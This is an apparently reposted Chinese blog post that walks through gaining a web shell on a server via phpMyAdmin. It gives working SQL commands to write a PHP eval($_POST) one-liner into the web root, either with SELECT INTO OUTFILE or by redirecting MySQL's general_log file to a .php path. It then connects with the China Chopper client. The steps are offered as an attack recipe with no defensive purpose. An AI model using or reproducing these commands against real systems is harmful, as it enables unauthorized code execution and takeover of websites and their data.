phpmyadmin getshell 姿势

参考大佬文章链接:https://blog.csdn.net/auuuuuuuu/article/details/83690362

方法一:

可以通过写shell进行提权,而我们需要满足以下条件:

1.数据库root权限

2.知道网站的物理路径

3.数据库有写权限

通过  select '<?php eval($_POST=[123];)?>' INTO OUTFILE '网站物理路径' 写入shell

方法二:

在条件三不满足的情况下,我们可以利用       进行getshell

 利用条件:MySQL 5.0+

MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。

首先我们测试站点是否有写权限

执行sql语句               SHOW VARIABLES LIKE 'secure_file_priv'
phpmyadmin   getshell 姿势

 

 

 phpmyadmin   getshell 姿势

 

 

 sql语句 SHOW VARIABLES LIKE 'secure_file_priv'  进行查询 查找secure_file_priv
 

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出

    当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下

    当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制

可以在mysql-ini文件中设置其属性

phpmyadmin   getshell 姿势

 

 

 经测试,我们没有写权限
phpmyadmin   getshell 姿势

 

 

 然后再介绍两个MySQL全局变量(general_log、general_log file)

    general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
    general log file 指的是日志的保存路径。

 

我们可以通过将一句话木马写入mysql日志中然后移动mysql日志路径到网站目录下实现getshell

执行sql语句   SHOW VARIABLES LIKE 'general_log%'  进行模糊查询

phpmyadmin   getshell 姿势

 

 

 日志默认关闭

我们执行sql语句    

    set global general_log = "ON";     #开启日志
    SET global general_log_file='网站下物理路径';  #更换日志路径

phpmyadmin   getshell 姿势

 

 

 成功创建   
phpmyadmin   getshell 姿势

 

 

 phpmyadmin   getshell 姿势

 

 

 
然后执行特殊的查询语句

select  '<?php eval($_POST[aaa]);?>'

phpmyadmin   getshell 姿势

 

 

 我们进入112233.php进行验证,成功写入shell

 phpmyadmin   getshell 姿势

 

 
最后进行菜刀连接,获得站点webshell
phpmyadmin   getshell 姿势

 

 

 

上一篇:PAT甲级-进制转换、回文数类型-1019 General Palindromic Number解题思路


下一篇:QML 渲染机制